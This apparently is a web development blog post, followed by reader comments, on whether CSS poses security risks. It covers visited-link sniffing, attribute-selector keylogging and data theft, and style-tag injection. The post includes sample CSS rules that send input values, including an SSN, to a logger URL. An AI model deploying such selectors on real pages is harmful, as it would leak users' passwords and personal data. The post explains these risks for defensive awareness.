Don’t read that headline and get worried. I don’t think CSS is a particularly dangerous security concern and, for the most part, I don’t think you need to worry about it.
But every once in a while, articles tend to circulate and get some attention as to the possibilities of what CSS can do that might surprise or worry you.
Here’s a little roundup.
The Visited Link Concern
This one goes like this:
- You put a link to a particular page on your site, say
<a href="https://i-tickle-pigs.com">Tickle Pigs</a>
- You style the visited state of that link like
a:visited { color: pink; }
which is not a default user agent style. - You test the computed style of that link.
- If it’s pink, this user is a pig tickler.
- You report that pig tickling information back to some server somewhere and presumably triple their pig owning insurance rates as surely the pigs will suffer extreme emotional distress over all the tickling.
You might even be able to do it entirely in CSS, because that :visited
style might have like background-image: url(/data-logger/tickle.php);
which is only requested by pig ticklers.
Worried? Don’t be, browsers have all prevented this from being possible.
The Keylogger
This one goes like this:
- There is an input on the page. Perhaps a password input. Scary!
- You put a logger script as the value for the input’s background image, but also one billion more selectors just like that such that the logger will collect and report some or all of the password.
input[value^="a"] { background: url(logger.php?v=a); }
This one isn’t that easy. The value
attribute of an input doesn’t change just because you type into it. It does sometimes in frameworks like React though, so if you were to slip this CSS onto a login page powered by React and coded in that way then, theoretically, this CSS-powered keylogger could work.
But… in that case, JavaScript is executing on that page anyway. JavaScript is 1000× more concerning than CSS for things like this. A keylogger in JavaScript is just a couple of lines of code watching for keypress events and reporting them via Ajax.
Third-party and XSS injected inline JavaScript is now stoppable with Content Security Policy (CSP)… but so is CSS.
The Data Thief
This one goes like this:
- If I can get some of my nefarious CSS onto a page where you’ve authenticated into a site…
- And that site displays sensitive information like a social security number (SSN) in a pre-filled form…
- I can use attribute selectors to figure it out.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
A billion selectors and you’ve covered all the possibilities!
The inline style block whoopsie
I don’t know if I’d blame CSS for this necessarily, but imagine:
<style>
... Drop in some user-generated stuff ...
</style>
Perhaps you’re allowing the user some CSS customization there. That’s an attack vector, as they could close that style tag, open a script tag, and write nefarious JavaScript.
I’m sure there are a bunch more
Got ’em? Share ’em.
Paint me a little skeptical of how terrified I should be about CSS security vulnerabilities. I don’t wanna downplay security things too much (especially third-party concerns) because I’m not an expert and security is of the utmost importance, but at the same time, I’ve never once heard of CSS being the attack vector for anything outside of a thought exercise. Educate me!
You have the CSS Exfil vulnerability: https://gbhackers.com/css-exfil-vulnerability/
I’m also sure using data-URI inside CSS can give good ideas… :)
I believe CSS vulnerabilities should be understood together with other vulnerabilities, like injecting “something” in a page with a XSS issue in some website. I’m thinking of clickjacking especially, which will need some css to work.
We can also think of a rogue js script injecting content and css to style it: preventing the js might not be practical in some cases, but preventing css execution could be easier.
Is this actually correct? If someone can close a tag, than what about other HTML elements?
You can open it again later …
alert ();
There are a ton of plugins, free templates, etc. for almost everything out there and who is digging through the minified CSS and JS and looks for something like that?
Who is looking actively on scripts that get embedded and check them every now and again?
Sure, an attack via JS is easier, smaller and faster but you might expect that and look for that. But CSS is a different story. You don’t expect CSS to have any security issues.
And sometimes having an attack vector that no one expects is more interesting than the easy route.
That’s one of the reasons why I try to always have everything hosted by the site/project itself (Bootstrap, jQuery, etc.).
You might also use SubResource Integrity to avoid executing some files :)
For a security-minded company … (or just for your own data collection and analysis) you could log every page that’s printed using a print stylesheet with {background: url(logger.php);}
This would happen anywhere where untrusted HTML is injected into a webpage. Whether it happens on a style tag or outside it. It’s basically XSS entries for an attacker.
The problem here is that XSS happens on client. Even if using something as simple as jQuery, some methods can write HTML on to a webpage. Untrusted content being written using $.fn.html might become an entry point for XSS if that input is not treated. Same goes for CSS
Though I think it’s important to be aware of these things, I think the more dangerous thing CSS could do is something like clickjacking. But that’s not a vulnerability in the language—it’s intentional deceit from an attacker.
Thank you for sharing this content with all of us :) Cascading StyleSheets Vulnerability is something that people don’t relate to in a well-enough manner. I have served the clients who fixed the their Cascading Stylesheets based on my recommendations. In Security, at least I practice closing the doors no matter what whenever I see an open one.
Example: I happened to get motivated as an hacker looking into the *.css file which helped me understand the internal structure of features. I speak about motivation because malicious hackers get motivated (Motivated Attacker) when they see “What’s inside?” without getting inside. And the adrenaline rush in them tells them, “If you hack this, you know what you will get once you are successful in hacking or comprising the security of this application”.
Based on this I authored “Securing Cascading StyleSheets” for OWASP (Open Web Application Project).
URLs to access the same content:
https://work2code.com/a-guide-to-securing-stylesheets-owasp/
https://www.owasp.org/index.php/Securing_Cascading_Style_Sheets_(CSS)_Cheat_Sheet
I hope this helps.
~ Simple things done well helps in “Security”.